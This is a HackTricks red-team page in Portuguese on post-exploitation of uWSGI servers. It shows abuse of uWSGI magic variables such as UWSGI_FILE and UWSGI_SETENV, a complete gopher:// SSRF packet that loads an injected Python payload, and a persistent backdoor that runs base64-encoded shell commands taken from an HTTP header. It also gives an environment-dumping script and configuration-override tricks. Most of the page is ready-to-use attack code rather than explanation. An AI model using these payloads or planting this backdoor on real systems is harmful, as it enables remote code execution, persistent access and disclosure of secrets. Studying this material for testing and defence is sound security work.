WSGI Post-Exploitation Tricks

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

WSGI Overview

Web Server Gateway Interface (WSGI) é uma especificação que descreve como um servidor web se comunica com aplicações web, e como aplicações web podem ser encadeadas para processar uma requisição. uWSGI é um dos servidores WSGI mais populares, frequentemente usado para servir aplicações web Python.

uWSGI Magic Variables Exploitation

uWSGI fornece variáveis especiais "magic variables" que podem ser usadas para configurar dinamicamente o comportamento do servidor. Essas variáveis podem ser definidas através de cabeçalhos HTTP e podem levar a vulnerabilidades de segurança graves quando não validadas corretamente.

Key Exploitable Variables

UWSGI_FILE - Arbitrary File Execution

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Esta variável permite carregar e executar arquivos Python arbitrários como aplicações WSGI. Se um atacante puder controlar este parâmetro, ele pode obter Remote Code Execution (RCE).

UWSGI_SCRIPT - Carregamento de Script

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Carrega um script especificado como uma nova aplicação. Combinado com capacidades de upload ou escrita de arquivos, isso pode levar a RCE.

UWSGI_MODULE e UWSGI_CALLABLE - Carregamento dinâmico de módulos

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Esses parâmetros permitem carregar módulos Python arbitrários e chamar funções específicas dentro deles.

UWSGI_SETENV - Manipulação de Variáveis de Ambiente

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Pode ser usado para modificar variáveis de ambiente, potencialmente afetando o comportamento da aplicação ou carregando configurações maliciosas.

UWSGI_PYHOME - Manipulação do Ambiente Python

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Altera o ambiente virtual do Python, potencialmente carregando pacotes maliciosos ou diferentes intérpretes Python.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Altera o diretório de trabalho antes de processar requisições, o que pode ser usado para ataques de path traversal.

SSRF + Gopher para

Vetor de Ataque

Quando o uWSGI é acessível via SSRF (Server-Side Request Forgery), atacantes podem interagir com o socket interno do uWSGI para explorar magic variables. Isso é particularmente perigoso quando:

  1. A aplicação tem vulnerabilidades de SSRF
  2. o uWSGI está rodando em uma porta/socket interno
  3. A aplicação não valida corretamente magic variables

O uWSGI é acessível devido ao SSRF porque o arquivo de configuração uwsgi.ini contém: socket = 127.0.0.1:5000, tornando-o acessível a partir da aplicação web via SSRF.

Exemplo de Exploração

Passo 1: Criar Payload Malicioso

Primeiro, injete código Python em um arquivo acessível pelo servidor (gravação de arquivo dentro do servidor, a extensão do arquivo não importa):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Passo 2: Criar requisição do protocolo uWSGI

Use o protocolo Gopher para enviar pacotes uWSGI brutos:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Este payload:

  • Conecta-se ao uWSGI na porta 5000
  • Define UWSGI_FILE para apontar para o arquivo malicioso
  • Força o uWSGI a carregar e executar o código Python

Estrutura do Protocolo uWSGI

O protocolo uWSGI usa um formato binário onde:

  • Variáveis são codificadas como strings prefixadas por tamanho
  • Cada variável possui: [name_length][name][value_length][value]
  • O pacote começa com um cabeçalho contendo o tamanho total

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Então use UWSGI_FILE para carregar este backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Environment-based Persistence

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Divulgação de Informações

Despejo de Variáveis de Ambiente

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Acesso ao Sistema de Arquivos

Use UWSGI_CHDIR combinado com file serving para acessar arquivos sensíveis:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

Se o uWSGI estiver em execução com privilégios elevados, atacantes podem manipular as permissões do socket:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Sobrescrita de Configuração

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks